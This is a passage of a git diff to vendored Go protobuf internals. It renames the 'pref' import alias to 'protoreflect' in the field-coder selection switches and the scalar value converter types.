fd.Cardinality() == pref.Repeated && !fd.IsPacked(): + case fd.Cardinality() == protoreflect.Repeated && !fd.IsPacked(): // Repeated fields (not packed). if ft.Kind() != reflect.Slice { break } ft := ft.Elem() switch fd.Kind() { - case pref.BoolKind: + case protoreflect.BoolKind: if ft.Kind() == reflect.Bool { return nil, coderBoolSlice } - case pref.EnumKind: + case protoreflect.EnumKind: if ft.Kind() == reflect.Int32 { return nil, coderEnumSlice } - case pref.Int32Kind: + case protoreflect.Int32Kind: if ft.Kind() == reflect.Int32 { return nil, coderInt32Slice } - case pref.Sint32Kind: + case protoreflect.Sint32Kind: if ft.Kind() == reflect.Int32 { return nil, coderSint32Slice } - case pref.Uint32Kind: + case protoreflect.Uint32Kind: if ft.Kind() == reflect.Uint32 { return nil, coderUint32Slice } - case pref.Int64Kind: + case protoreflect.Int64Kind: if ft.Kind() == reflect.Int64 { return nil, coderInt64Slice } - case pref.Sint64Kind: + case protoreflect.Sint64Kind: if ft.Kind() == reflect.Int64 { return nil, coderSint64Slice } - case pref.Uint64Kind: + case protoreflect.Uint64Kind: if ft.Kind() == reflect.Uint64 { return nil, coderUint64Slice } - case pref.Sfixed32Kind: + case protoreflect.Sfixed32Kind: if ft.Kind() == reflect.Int32 { return nil, coderSfixed32Slice } - case pref.Fixed32Kind: + case protoreflect.Fixed32Kind: if ft.Kind() == reflect.Uint32 { return nil, coderFixed32Slice } - case pref.FloatKind: + case protoreflect.FloatKind: if ft.Kind() == reflect.Float32 { return nil, coderFloatSlice } - case pref.Sfixed64Kind: + case protoreflect.Sfixed64Kind: if ft.Kind() == reflect.Int64 { return nil, coderSfixed64Slice } - case pref.Fixed64Kind: + case protoreflect.Fixed64Kind: if ft.Kind() == reflect.Uint64 { return nil, coderFixed64Slice } - case pref.DoubleKind: + case protoreflect.DoubleKind: if ft.Kind() == reflect.Float64 { return nil, coderDoubleSlice } - case pref.StringKind: + case protoreflect.StringKind: if ft.Kind() == reflect.String && strs.EnforceUTF8(fd) { return nil, coderStringSliceValidateUTF8 } @@ -114,19 +114,19 @@ func fieldCoder(fd pref.FieldDescriptor, ft reflect.Type) (*MessageInfo, pointer if ft.Kind() == reflect.Slice && ft.Elem().Kind() == reflect.Uint8 { return nil, coderBytesSlice } - case pref.BytesKind: + case protoreflect.BytesKind: if ft.Kind() == reflect.String { return nil, coderStringSlice } if ft.Kind() == reflect.Slice && ft.Elem().Kind() == reflect.Uint8 { return nil, coderBytesSlice } - case pref.MessageKind: + case protoreflect.MessageKind: return getMessageInfo(ft), makeMessageSliceFieldCoder(fd, ft) - case pref.GroupKind: + case protoreflect.GroupKind: return getMessageInfo(ft), makeGroupSliceFieldCoder(fd, ft) } - case fd.Cardinality() == pref.Repeated && fd.IsPacked(): + case fd.Cardinality() == protoreflect.Repeated && fd.IsPacked(): // Packed repeated fields. // // Only repeated fields of primitive numeric types @@ -136,128 +136,128 @@ func fieldCoder(fd pref.FieldDescriptor, ft reflect.Type) (*MessageInfo, pointer } ft := ft.Elem() switch fd.Kind() { - case pref.BoolKind: + case protoreflect.BoolKind: if ft.Kind() == reflect.Bool { return nil, coderBoolPackedSlice } - case pref.EnumKind: + case protoreflect.EnumKind: if ft.Kind() == reflect.Int32 { return nil, coderEnumPackedSlice } - case pref.Int32Kind: + case protoreflect.Int32Kind: if ft.Kind() == reflect.Int32 { return nil, coderInt32PackedSlice } - case pref.Sint32Kind: + case protoreflect.Sint32Kind: if ft.Kind() == reflect.Int32 { return nil, coderSint32PackedSlice } - case pref.Uint32Kind: + case protoreflect.Uint32Kind: if ft.Kind() == reflect.Uint32 { return nil, coderUint32PackedSlice } - case pref.Int64Kind: + case protoreflect.Int64Kind: if ft.Kind() == reflect.Int64 { return nil, coderInt64PackedSlice } - case pref.Sint64Kind: + case protoreflect.Sint64Kind: if ft.Kind() == reflect.Int64 { return nil, coderSint64PackedSlice } - case pref.Uint64Kind: + case protoreflect.Uint64Kind: if ft.Kind() == reflect.Uint64 { return nil, coderUint64PackedSlice } - case pref.Sfixed32Kind: + case protoreflect.Sfixed32Kind: if ft.Kind() == reflect.Int32 { return nil, coderSfixed32PackedSlice } - case pref.Fixed32Kind: + case protoreflect.Fixed32Kind: if ft.Kind() == reflect.Uint32 { return nil, coderFixed32PackedSlice } - case pref.FloatKind: + case protoreflect.FloatKind: if ft.Kind() == reflect.Float32 { return nil, coderFloatPackedSlice } - case pref.Sfixed64Kind: + case protoreflect.Sfixed64Kind: if ft.Kind() == reflect.Int64 { return nil, coderSfixed64PackedSlice } - case pref.Fixed64Kind: + case protoreflect.Fixed64Kind: if ft.Kind() == reflect.Uint64 { return nil, coderFixed64PackedSlice } - case pref.DoubleKind: + case protoreflect.DoubleKind: if ft.Kind() == reflect.Float64 { return nil, coderDoublePackedSlice } } - case fd.Kind() == pref.MessageKind: + case fd.Kind() == protoreflect.MessageKind: return getMessageInfo(ft), makeMessageFieldCoder(fd, ft) - case fd.Kind() == pref.GroupKind: + case fd.Kind() == protoreflect.GroupKind: return getMessageInfo(ft), makeGroupFieldCoder(fd, ft) - case fd.Syntax() == pref.Proto3 && fd.ContainingOneof() == nil: + case fd.Syntax() == protoreflect.Proto3 && fd.ContainingOneof() == nil: // Populated oneof fields always encode even if set to the zero value, // which normally are not encoded in proto3. switch fd.Kind() { - case pref.BoolKind: + case protoreflect.BoolKind: if ft.Kind() == reflect.Bool { return nil, coderBoolNoZero } - case pref.EnumKind: + case protoreflect.EnumKind: if ft.Kind() == reflect.Int32 { return nil, coderEnumNoZero } - case pref.Int32Kind: + case protoreflect.Int32Kind: if ft.Kind() == reflect.Int32 { return nil, coderInt32NoZero } - case pref.Sint32Kind: + case protoreflect.Sint32Kind: if ft.Kind() == reflect.Int32 { return nil, coderSint32NoZero } - case pref.Uint32Kind: + case protoreflect.Uint32Kind: if ft.Kind() == reflect.Uint32 { return nil, coderUint32NoZero } - case pref.Int64Kind: + case protoreflect.Int64Kind: if ft.Kind() == reflect.Int64 { return nil, coderInt64NoZero } - case pref.Sint64Kind: + case protoreflect.Sint64Kind: if ft.Kind() == reflect.Int64 { return nil, coderSint64NoZero } - case pref.Uint64Kind: + case protoreflect.Uint64Kind: if ft.Kind() == reflect.Uint64 { return nil, coderUint64NoZero } - case pref.Sfixed32Kind: + case protoreflect.Sfixed32Kind: if ft.Kind() == reflect.Int32 { return nil, coderSfixed32NoZero } - case pref.Fixed32Kind: + case protoreflect.Fixed32Kind: if ft.Kind() == reflect.Uint32 { return nil, coderFixed32NoZero } - case pref.FloatKind: + case protoreflect.FloatKind: if ft.Kind() == reflect.Float32 { return nil, coderFloatNoZero } - case pref.Sfixed64Kind: + case protoreflect.Sfixed64Kind: if ft.Kind() == reflect.Int64 { return nil, coderSfixed64NoZero } - case pref.Fixed64Kind: + case protoreflect.Fixed64Kind: if ft.Kind() == reflect.Uint64 { return nil, coderFixed64NoZero } - case pref.DoubleKind: + case protoreflect.DoubleKind: if ft.Kind() == reflect.Float64 { return nil, coderDoubleNoZero } - case pref.StringKind: + case protoreflect.StringKind: if ft.Kind() == reflect.String && strs.EnforceUTF8(fd) { return nil, coderStringNoZeroValidateUTF8 } @@ -270,7 +270,7 @@ func fieldCoder(fd pref.FieldDescriptor, ft reflect.Type) (*MessageInfo, pointer if ft.Kind() == reflect.Slice && ft.Elem().Kind() == reflect.Uint8 { return nil, coderBytesNoZero } - case pref.BytesKind: + case protoreflect.BytesKind: if ft.Kind() == reflect.String { return nil, coderStringNoZero } @@ -281,133 +281,133 @@ func fieldCoder(fd pref.FieldDescriptor, ft reflect.Type) (*MessageInfo, pointer case ft.Kind() == reflect.Ptr: ft := ft.Elem() switch fd.Kind() { - case pref.BoolKind: + case protoreflect.BoolKind: if ft.Kind() == reflect.Bool { return nil, coderBoolPtr } - case pref.EnumKind: + case protoreflect.EnumKind: if ft.Kind() == reflect.Int32 { return nil, coderEnumPtr } - case pref.Int32Kind: + case protoreflect.Int32Kind: if ft.Kind() == reflect.Int32 { return nil, coderInt32Ptr } - case pref.Sint32Kind: + case protoreflect.Sint32Kind: if ft.Kind() == reflect.Int32 { return nil, coderSint32Ptr } - case pref.Uint32Kind: + case protoreflect.Uint32Kind: if ft.Kind() == reflect.Uint32 { return nil, coderUint32Ptr } - case pref.Int64Kind: + case protoreflect.Int64Kind: if ft.Kind() == reflect.Int64 { return nil, coderInt64Ptr } - case pref.Sint64Kind: + case protoreflect.Sint64Kind: if ft.Kind() == reflect.Int64 { return nil, coderSint64Ptr } - case pref.Uint64Kind: + case protoreflect.Uint64Kind: if ft.Kind() == reflect.Uint64 { return nil, coderUint64Ptr } - case pref.Sfixed32Kind: + case protoreflect.Sfixed32Kind: if ft.Kind() == reflect.Int32 { return nil, coderSfixed32Ptr } - case pref.Fixed32Kind: + case protoreflect.Fixed32Kind: if ft.Kind() == reflect.Uint32 { return nil, coderFixed32Ptr } - case pref.FloatKind: + case protoreflect.FloatKind: if ft.Kind() == reflect.Float32 { return nil, coderFloatPtr } - case pref.Sfixed64Kind: + case protoreflect.Sfixed64Kind: if ft.Kind() == reflect.Int64 { return nil, coderSfixed64Ptr } - case pref.Fixed64Kind: + case protoreflect.Fixed64Kind: if ft.Kind() == reflect.Uint64 { return nil, coderFixed64Ptr } - case pref.DoubleKind: + case protoreflect.DoubleKind: if ft.Kind() == reflect.Float64 { return nil, coderDoublePtr } - case pref.StringKind: + case protoreflect.StringKind: if ft.Kind() == reflect.String && strs.EnforceUTF8(fd) { return nil, coderStringPtrValidateUTF8 } if ft.Kind() == reflect.String { return nil, coderStringPtr } - case pref.BytesKind: + case protoreflect.BytesKind: if ft.Kind() == reflect.String { return nil, coderStringPtr } } default: switch fd.Kind() { - case pref.BoolKind: + case protoreflect.BoolKind: if ft.Kind() == reflect.Bool { return nil, coderBool } - case pref.EnumKind: + case protoreflect.EnumKind: if ft.Kind() == reflect.Int32 { return nil, coderEnum } - case pref.Int32Kind: + case protoreflect.Int32Kind: if ft.Kind() == reflect.Int32 { return nil, coderInt32 } - case pref.Sint32Kind: + case protoreflect.Sint32Kind: if ft.Kind() == reflect.Int32 { return nil, coderSint32 } - case pref.Uint32Kind: + case protoreflect.Uint32Kind: if ft.Kind() == reflect.Uint32 { return nil, coderUint32 } - case pref.Int64Kind: + case protoreflect.Int64Kind: if ft.Kind() == reflect.Int64 { return nil, coderInt64 } - case pref.Sint64Kind: + case protoreflect.Sint64Kind: if ft.Kind() == reflect.Int64 { return nil, coderSint64 } - case pref.Uint64Kind: + case protoreflect.Uint64Kind: if ft.Kind() == reflect.Uint64 { return nil, coderUint64 } - case pref.Sfixed32Kind: + case protoreflect.Sfixed32Kind: if ft.Kind() == reflect.Int32 { return nil, coderSfixed32 } - case pref.Fixed32Kind: + case protoreflect.Fixed32Kind: if ft.Kind() == reflect.Uint32 { return nil, coderFixed32 } - case pref.FloatKind: + case protoreflect.FloatKind: if ft.Kind() == reflect.Float32 { return nil, coderFloat } - case pref.Sfixed64Kind: + case protoreflect.Sfixed64Kind: if ft.Kind() == reflect.Int64 { return nil, coderSfixed64 } - case pref.Fixed64Kind: + case protoreflect.Fixed64Kind: if ft.Kind() == reflect.Uint64 { return nil, coderFixed64 } - case pref.DoubleKind: + case protoreflect.DoubleKind: if ft.Kind() == reflect.Float64 { return nil, coderDouble } - case pref.StringKind: + case protoreflect.StringKind: if ft.Kind() == reflect.String && strs.EnforceUTF8(fd) { return nil, coderStringValidateUTF8 } @@ -420,7 +420,7 @@ func fieldCoder(fd pref.FieldDescriptor, ft reflect.Type) (*MessageInfo, pointer if ft.Kind() == reflect.Slice && ft.Elem().Kind() == reflect.Uint8 { return nil, coderBytes } - case pref.BytesKind: + case protoreflect.BytesKind: if ft.Kind() == reflect.String { return nil, coderString } @@ -434,122 +434,122 @@ func fieldCoder(fd pref.FieldDescriptor, ft reflect.Type) (*MessageInfo, pointer // encoderFuncsForValue returns value functions for a field, used for // extension values and map encoding. -func encoderFuncsForValue(fd pref.FieldDescriptor) valueCoderFuncs { +func encoderFuncsForValue(fd protoreflect.FieldDescriptor) valueCoderFuncs { switch { - case fd.Cardinality() == pref.Repeated && !fd.IsPacked(): + case fd.Cardinality() == protoreflect.Repeated && !fd.IsPacked(): switch fd.Kind() { - case pref.BoolKind: + case protoreflect.BoolKind: return coderBoolSliceValue - case pref.EnumKind: + case protoreflect.EnumKind: return coderEnumSliceValue - case pref.Int32Kind: + case protoreflect.Int32Kind: return coderInt32SliceValue - case pref.Sint32Kind: + case protoreflect.Sint32Kind: return coderSint32SliceValue - case pref.Uint32Kind: + case protoreflect.Uint32Kind: return coderUint32SliceValue - case pref.Int64Kind: + case protoreflect.Int64Kind: return coderInt64SliceValue - case pref.Sint64Kind: + case protoreflect.Sint64Kind: return coderSint64SliceValue - case pref.Uint64Kind: + case protoreflect.Uint64Kind: return coderUint64SliceValue - case pref.Sfixed32Kind: + case protoreflect.Sfixed32Kind: return coderSfixed32SliceValue - case pref.Fixed32Kind: + case protoreflect.Fixed32Kind: return coderFixed32SliceValue - case pref.FloatKind: + case protoreflect.FloatKind: return coderFloatSliceValue - case pref.Sfixed64Kind: + case protoreflect.Sfixed64Kind: return coderSfixed64SliceValue - case pref.Fixed64Kind: + case protoreflect.Fixed64Kind: return coderFixed64SliceValue - case pref.DoubleKind: + case protoreflect.DoubleKind: return coderDoubleSliceValue - case pref.StringKind: + case protoreflect.StringKind: // We don't have a UTF-8 validating coder for repeated string fields. // Value coders are used for extensions and maps. // Extensions are never proto3, and maps never contain lists. return coderStringSliceValue - case pref.BytesKind: + case protoreflect.BytesKind: return coderBytesSliceValue - case pref.MessageKind: + case protoreflect.MessageKind: return coderMessageSliceValue - case pref.GroupKind: + case protoreflect.GroupKind: return coderGroupSliceValue } - case fd.Cardinality() == pref.Repeated && fd.IsPacked(): + case fd.Cardinality() == protoreflect.Repeated && fd.IsPacked(): switch fd.Kind() { - case pref.BoolKind: + case protoreflect.BoolKind: return coderBoolPackedSliceValue - case pref.EnumKind: + case protoreflect.EnumKind: return coderEnumPackedSliceValue - case pref.Int32Kind: + case protoreflect.Int32Kind: return coderInt32PackedSliceValue - case pref.Sint32Kind: + case protoreflect.Sint32Kind: return coderSint32PackedSliceValue - case pref.Uint32Kind: + case protoreflect.Uint32Kind: return coderUint32PackedSliceValue - case pref.Int64Kind: + case protoreflect.Int64Kind: return coderInt64PackedSliceValue - case pref.Sint64Kind: + case protoreflect.Sint64Kind: return coderSint64PackedSliceValue - case pref.Uint64Kind: + case protoreflect.Uint64Kind: return coderUint64PackedSliceValue - case pref.Sfixed32Kind: + case protoreflect.Sfixed32Kind: return coderSfixed32PackedSliceValue - case pref.Fixed32Kind: + case protoreflect.Fixed32Kind: return coderFixed32PackedSliceValue - case pref.FloatKind: + case protoreflect.FloatKind: return coderFloatPackedSliceValue - case pref.Sfixed64Kind: + case protoreflect.Sfixed64Kind: return coderSfixed64PackedSliceValue - case pref.Fixed64Kind: + case protoreflect.Fixed64Kind: return coderFixed64PackedSliceValue - case pref.DoubleKind: + case protoreflect.DoubleKind: return coderDoublePackedSliceValue } default: switch fd.Kind() { default: - case pref.BoolKind: + case protoreflect.BoolKind: return coderBoolValue - case pref.EnumKind: + case protoreflect.EnumKind: return coderEnumValue - case pref.Int32Kind: + case protoreflect.Int32Kind: return coderInt32Value - case pref.Sint32Kind: + case protoreflect.Sint32Kind: return coderSint32Value - case pref.Uint32Kind: + case protoreflect.Uint32Kind: return coderUint32Value - case pref.Int64Kind: + case protoreflect.Int64Kind: return coderInt64Value - case pref.Sint64Kind: + case protoreflect.Sint64Kind: return coderSint64Value - case pref.Uint64Kind: + case protoreflect.Uint64Kind: return coderUint64Value - case pref.Sfixed32Kind: + case protoreflect.Sfixed32Kind: return coderSfixed32Value - case pref.Fixed32Kind: + case protoreflect.Fixed32Kind: return coderFixed32Value - case pref.FloatKind: + case protoreflect.FloatKind: return coderFloatValue - case pref.Sfixed64Kind: + case protoreflect.Sfixed64Kind: return coderSfixed64Value - case pref.Fixed64Kind: + case protoreflect.Fixed64Kind: return coderFixed64Value - case pref.DoubleKind: + case protoreflect.DoubleKind: return coderDoubleValue - case pref.StringKind: + case protoreflect.StringKind: if strs.EnforceUTF8(fd) { return coderStringValueValidateUTF8 } return coderStringValue - case pref.BytesKind: + case protoreflect.BytesKind: return coderBytesValue - case pref.MessageKind: + case protoreflect.MessageKind: return coderMessageValue - case pref.GroupKind: + case protoreflect.GroupKind: return coderGroupValue } } diff --git a/vendor/google.golang.org/protobuf/internal/impl/convert.go b/vendor/google.golang.org/protobuf/internal/impl/convert.go index acd61bb50..11a6128ba 100644 --- a/vendor/google.golang.org/protobuf/internal/impl/convert.go +++ b/vendor/google.golang.org/protobuf/internal/impl/convert.go @@ -8,7 +8,7 @@ import ( "fmt" "reflect" - pref "google.golang.org/protobuf/reflect/protoreflect" + "google.golang.org/protobuf/reflect/protoreflect" ) // unwrapper unwraps the value to the underlying value. @@ -20,13 +20,13 @@ type unwrapper interface { // A Converter coverts to/from Go reflect.Value types and protobuf protoreflect.Value types. type Converter interface { // PBValueOf converts a reflect.Value to a protoreflect.Value. - PBValueOf(reflect.Value) pref.Value + PBValueOf(reflect.Value) protoreflect.Value // GoValueOf converts a protoreflect.Value to a reflect.Value. - GoValueOf(pref.Value) reflect.Value + GoValueOf(protoreflect.Value) reflect.Value // IsValidPB returns whether a protoreflect.Value is compatible with this type. - IsValidPB(pref.Value) bool + IsValidPB(protoreflect.Value) bool // IsValidGo returns whether a reflect.Value is compatible with this type. IsValidGo(reflect.Value) bool @@ -34,12 +34,12 @@ type Converter interface { // New returns a new field value. // For scalars, it returns the default value of the field. // For composite types, it returns a new mutable value. - New() pref.Value + New() protoreflect.Value // Zero returns a new field value. // For scalars, it returns the default value of the field. // For composite types, it returns an immutable, empty value. - Zero() pref.Value + Zero() protoreflect.Value } // NewConverter matches a Go type with a protobuf field and returns a Converter @@ -50,7 +50,7 @@ type Converter interface { // This matcher deliberately supports a wider range of Go types than what // protoc-gen-go historically generated to be able to automatically wrap some // v1 messages generated by other forks of protoc-gen-go. -func NewConverter(t reflect.Type, fd pref.FieldDescriptor) Converter { +func NewConverter(t reflect.Type, fd protoreflect.FieldDescriptor) Converter { switch { case fd.IsList(): return newListConverter(t, fd) @@ -76,68 +76,68 @@ var ( ) var ( - boolZero = pref.ValueOfBool(false) - int32Zero = pref.ValueOfInt32(0) - int64Zero = pref.ValueOfInt64(0) - uint32Zero = pref.ValueOfUint32(0) - uint64Zero = pref.ValueOfUint64(0) - float32Zero = pref.ValueOfFloat32(0) - float64Zero = pref.ValueOfFloat64(0) - stringZero = pref.ValueOfString("") - bytesZero = pref.ValueOfBytes(nil) + boolZero = protoreflect.ValueOfBool(false) + int32Zero = protoreflect.ValueOfInt32(0) + int64Zero = protoreflect.ValueOfInt64(0) + uint32Zero = protoreflect.ValueOfUint32(0) + uint64Zero = protoreflect.ValueOfUint64(0) + float32Zero = protoreflect.ValueOfFloat32(0) + float64Zero = protoreflect.ValueOfFloat64(0) + stringZero = protoreflect.ValueOfString("") + bytesZero = protoreflect.ValueOfBytes(nil) ) -func newSingularConverter(t reflect.Type, fd pref.FieldDescriptor) Converter { - defVal := func(fd pref.FieldDescriptor, zero pref.Value) pref.Value { - if fd.Cardinality() == pref.Repeated { +func newSingularConverter(t reflect.Type, fd protoreflect.FieldDescriptor) Converter { + defVal := func(fd protoreflect.FieldDescriptor, zero protoreflect.Value) protoreflect.Value { + if fd.Cardinality() == protoreflect.Repeated { // Default isn't defined for repeated fields. return zero } return fd.Default() } switch fd.Kind() { - case pref.BoolKind: + case protoreflect.BoolKind: if t.Kind() == reflect.Bool { return &boolConverter{t, defVal(fd, boolZero)} } - case pref.Int32Kind, pref.Sint32Kind, pref.Sfixed32Kind: + case protoreflect.Int32Kind, protoreflect.Sint32Kind, protoreflect.Sfixed32Kind: if t.Kind() == reflect.Int32 { return &int32Converter{t, defVal(fd, int32Zero)} } - case pref.Int64Kind, pref.Sint64Kind, pref.Sfixed64Kind: + case protoreflect.Int64Kind, protoreflect.Sint64Kind, protoreflect.Sfixed64Kind: if t.Kind() == reflect.Int64 { return &int64Converter{t, defVal(fd, int64Zero)} } - case pref.Uint32Kind, pref.Fixed32Kind: + case protoreflect.Uint32Kind, protoreflect.Fixed32Kind: if t.Kind() == reflect.Uint32 { return &uint32Converter{t, defVal(fd, uint32Zero)} } - case pref.Uint64Kind, pref.Fixed64Kind: + case protoreflect.Uint64Kind, protoreflect.Fixed64Kind: if t.Kind() == reflect.Uint64 { return &uint64Converter{t, defVal(fd, uint64Zero)} } - case pref.FloatKind: + case protoreflect.FloatKind: if t.Kind() == reflect.Float32 { return &float32Converter{t, defVal(fd, float32Zero)} } - case pref.DoubleKind: + case protoreflect.DoubleKind: if t.Kind() == reflect.Float64 { return &float64Converter{t, defVal(fd, float64Zero)} } - case pref.StringKind: + case protoreflect.StringKind: if t.Kind() == reflect.String || (t.Kind() == reflect.Slice && t.Elem() == byteType) { return &stringConverter{t, defVal(fd, stringZero)} } - case pref.BytesKind: + case protoreflect.BytesKind: if t.Kind() == reflect.String || (t.Kind() == reflect.Slice && t.Elem() == byteType) { return &bytesConverter{t, defVal(fd, bytesZero)} } - case pref.EnumKind: + case protoreflect.EnumKind: // Handle enums, which must be a named int32 type. if t.Kind() == reflect.Int32 { return newEnumConverter(t, fd) } - case pref.MessageKind, pref.GroupKind: + case protoreflect.MessageKind, protoreflect.GroupKind: return newMessageConverter(t) } panic(fmt.Sprintf("invalid Go type %v for field %v", t, fd.FullName())) @@ -145,184 +145,184 @@ func newSingularConverter(t reflect.Type, fd pref.FieldDescriptor) Converter { type boolConverter struct { goType reflect.Type - def pref.Value + def protoreflect.Value } -func (c *boolConverter) PBValueOf(v reflect.Value) pref.Value { +func (c *boolConverter) PBValueOf(v reflect.Value) protoreflect.Value { if v.Type() != c.goType { panic(fmt.Sprintf("invalid type: got %v, want %v", v.Type(), c.goType)) } - return pref.ValueOfBool(v.Bool()) + return protoreflect.ValueOfBool(v.Bool()) } -func (c *boolConverter) GoValueOf(v pref.Value) reflect.Value { +func (c *boolConverter) GoValueOf(v protoreflect.Value) reflect.Value { return reflect.ValueOf(v.Bool()).Convert(c.goType) } -func (c *boolConverter) IsValidPB(v pref.Value) bool { +func (c *boolConverter) IsValidPB(v protoreflect.Value) bool { _, ok := v.Interface().(bool) return ok } func (c *boolConverter) IsValidGo(v reflect.Value) bool { return v.IsValid() && v.Type() == c.goType } -func (c *boolConverter) New() pref.Value { return c.def } -func (c *boolConverter) Zero() pref.Value { return c.def } +func (c *boolConverter) New() protoreflect.Value { return c.def } +func (c *boolConverter) Zero() protoreflect.Value { return c.def } type int32Converter struct { goType reflect.Type - def pref.Value + def protoreflect.Value } -func (c *int32Converter) PBValueOf(v reflect.Value) pref.Value { +func (c *int32Converter) PBValueOf(v reflect.Value) protoreflect.Value { if v.Type() != c.goType { panic(fmt.Sprintf("invalid type: got %v, want %v", v.Type(), c.goType)) } - return pref.ValueOfInt32(int32(v.Int())) + return protoreflect.ValueOfInt32(int32(v.Int())) } -func (c *int32Converter) GoValueOf(v pref.Value) reflect.Value { +func (c *int32Converter) GoValueOf(v protoreflect.Value) reflect.Value { return reflect.ValueOf(int32(v.Int())).Convert(c.goType) } -func (c *int32Converter) IsValidPB(v pref.Value) bool { +func (c *int32Converter) IsValidPB(v protoreflect.Value) bool { _, ok := v.Interface().(int32) return ok } func (c *int32Converter) IsValidGo(v reflect.Value) bool { return v.IsValid() && v.Type() == c.goType } -func (c *int32Converter) New() pref.Value { return c.def } -func (c *int32Converter) Zero() pref.Value { return c.def } +func (c *int32Converter) New() protoreflect.Value { return c.def } +func (c *int32Converter) Zero() protoreflect.Value { return c.def } type int64Converter struct { goType reflect.Type - def pref.Value + def protoreflect.Value } -func (c *int64Converter) PBValueOf(v reflect.Value) pref.Value { +func (c *int64Converter) PBValueOf(v reflect.Value) protoreflect.Value { if v.Type() != c.goType { panic(fmt.Sprintf("invalid type: got %v, want %v", v.Type(), c.goType)) } - return pref.ValueOfInt64(int64(v.Int())) + return protoreflect.ValueOfInt64(int64(v.Int())) } -func (c *int64Converter) GoValueOf(v pref.Value) reflect.Value { +func (c *int64Converter) GoValueOf(v protoreflect.Value) reflect.Value { return reflect.ValueOf(int64(v.Int())).Convert(c.goType) } -func (c *int64Converter) IsValidPB(v pref.Value) bool { +func (c *int64Converter) IsValidPB(v protoreflect.Value) bool { _, ok := v.Interface().(int64) return ok } func (c *int64Converter) IsValidGo(v reflect.Value) bool { return v.IsValid() && v.Type() == c.goType } -func (c *int64Converter) New() pref.Value { return c.def } -func (c *int64Converter) Zero() pref.Value { return c.def } +func (c *int64Converter) New() protoreflect.Value { return c.def } +func (c *int64Converter) Zero() protoreflect.Value { return c.def } type uint32Converter struct { goType reflect.Type - def pref.Value + def protoreflect.Value } -func (c *uint32Converter) PBValueOf(v reflect.Value) pref.Value { +func (c *uint32Converter) PBValueOf(v reflect.Value) protoreflect.Value { if v.Type() != c.goType { panic(fmt.Sprintf("invalid type: got %v, want %v", v.Type(), c.goType)) } - return pref.ValueOfUint32(uint32(v.Uint())) + return protoreflect.ValueOfUint32(uint32(v.Uint())) } -func (c *uint32Converter) GoValueOf(v pref.Value) reflect.Value { +func (c *uint32Converter) GoValueOf(v protoreflect.Value) reflect.Value { return reflect.ValueOf(uint32(v.Uint())).Convert(c.goType) } -func (c *uint32Converter) IsValidPB(v pref.Value) bool { +func (c *uint32Converter) IsValidPB(v protoreflect.Value) bool { _, ok := v.Interface().(uint32) return ok } func (c *uint32Converter) IsValidGo(v reflect.Value) bool { return v.IsValid() && v.Type() == c.goType } -func (c *uint32Converter) New() pref.Value { return c.def } -func (c *uint32Converter) Zero() pref.Value { return c.def } +func (c *uint32Converter) New() protoreflect.Value { return c.def } +func (c *uint32Converter) Zero() protoreflect.Value { return c.def } type uint64Converter struct { goType reflect.Type - def pref.Value + def protoreflect.Value } -func (c *uint64Converter) PBValueOf(v reflect.Value) pref.Value { +func (c *uint64Converter) PBValueOf(v reflect.Value) protoreflect.Value { if v.Type() != c.goType { panic(fmt.Sprintf("invalid type: got %v, want %v", v.Type(), c.goType)) } - return pref.ValueOfUint64(uint64(v.Uint())) + return protoreflect.ValueOfUint64(uint64(v.Uint())) } -func (c *uint64Converter) GoValueOf(v pref.Value) reflect.Value { +func (c *uint64Converter) GoValueOf(v protoreflect.Value) reflect.Value { return reflect.ValueOf(uint64(v.Uint())).Convert(c.goType) } -func (c *uint64Converter) IsValidPB(v pref.Value) bool { +func (c *uint64Converter) IsValidPB(v protoreflect.Value) bool { _, ok := v.Interface().(uint64) return ok } func (c *uint64Converter) IsValidGo(v reflect.Value) bool { return v.IsValid() && v.Type() == c.goType } -func (c *uint64Converter) New() pref.Value { return c.def } -func (c *uint64Converter) Zero() pref.Value { return c.def } +func (c *uint64Converter) New() protoreflect.Value { return c.def } +func (c *uint64Converter) Zero() protoreflect.Value { return c.def } type float32Converter struct { goType reflect.Type - def pref.Value + def protoreflect.Value } -func (c *float32Converter) PBValueOf(v reflect.Value) pref.Value { +func (c *float32Converter) PBValueOf(v reflect.Value) protoreflect.Value { if v.Type() != c.goType { panic(fmt.Sprintf("invalid type: got %v, want %v", v.Type(), c.goType)) } - return pref.ValueOfFloat32(float32(v.Float())) + return protoreflect.ValueOfFloat32(float32(v.Float())) } -func (c *float32Converter) GoValueOf(v pref.Value) reflect.Value { +func (c *float32Converter) GoValueOf(v protoreflect.Value) reflect.Value { return reflect.ValueOf(float32(v.Float())).Convert(c.goType) } -func (c *float32Converter) IsValidPB(v pref.Value) bool { +func (c *float32Converter) IsValidPB(v protoreflect.Value) bool { _, ok := v.Interface().(float32) return ok } func (c *float32Converter) IsValidGo(v reflect.Value) bool { return v.IsValid() && v.Type() == c.goType } -func (c *float32Converter) New() pref.Value { return c.def } -func (c *float32Converter) Zero() pref.Value { return c.def } +func (c *float32Converter) New() protoreflect.Value { return c.def } +func (c *float32Converter) Zero() protoreflect.Value { return c.def } type float64Converter struct { goType reflect.Type - def pref.Value + def protoreflect.Value } -func (c *float64Converter) PBValueOf(v reflect.Value) pref.Value { +func (c *float64Converter) PBValueOf(v reflect.Value) protoreflect.Value { if v.Type() != c.goType { panic(fmt.Sprintf("invalid type: got %v, want %v", v.Type(), c.goType)) } - return pref.ValueOfFloat64(float64(v.Float())) + return protoreflect.ValueOfFloat64(float64(v.Float())) } -func (c *float64Converter) GoValueOf(v pref.Value) reflect.Value { +func (c *float64Converter) GoValueOf(v protoreflect.Value) reflect.Value { return reflect.ValueOf(float64(v.Float())).Convert(c.goType) } -func (c *float64Converter) IsValidPB(v pref.Value) bool { +func (c *float64Converter) IsValidPB(v protoreflect.Value) bool { _, ok := v.Interface().(float64) return ok } func (c *float64Converter) IsValidGo(v reflect.Value) bool { return v.IsValid() && v.Type() == c.goType } -func (c *float64Converter) New() pref.Value { return c.def } -func (c *float64Converter) Zero() pref.Value { return c.def } +func (c *float64Converter) New() protoreflect.Value { return c.def } +func (c *float64Converter) Zero() protoreflect.Value { return c.def } type stringConverter struct { goType reflect.Type - def pref.Value + def protoreflect.Value } -func (c *stringConverter) PBValueOf(v reflect.Value) pref.Value { +func (c *stringConverter) PBValueOf(v reflect.Value) protoreflect.Value { if v.Type() != c.goType { panic(fmt.Sprintf("invalid type: got %v, want %v", v.Type(), c.goType)) } - return pref.ValueOfString(v.Convert(stringType).String()) + return protoreflect.ValueOfString(v.Convert(stringType).String()) } -func (c *stringConverter) GoValueOf(v pref.Value) reflect.Value { +func (c *stringConverter) GoValueOf(v protoreflect.Value) reflect.Value { // pref.Value.String never panics, so we go through an interface // conversion here to check the 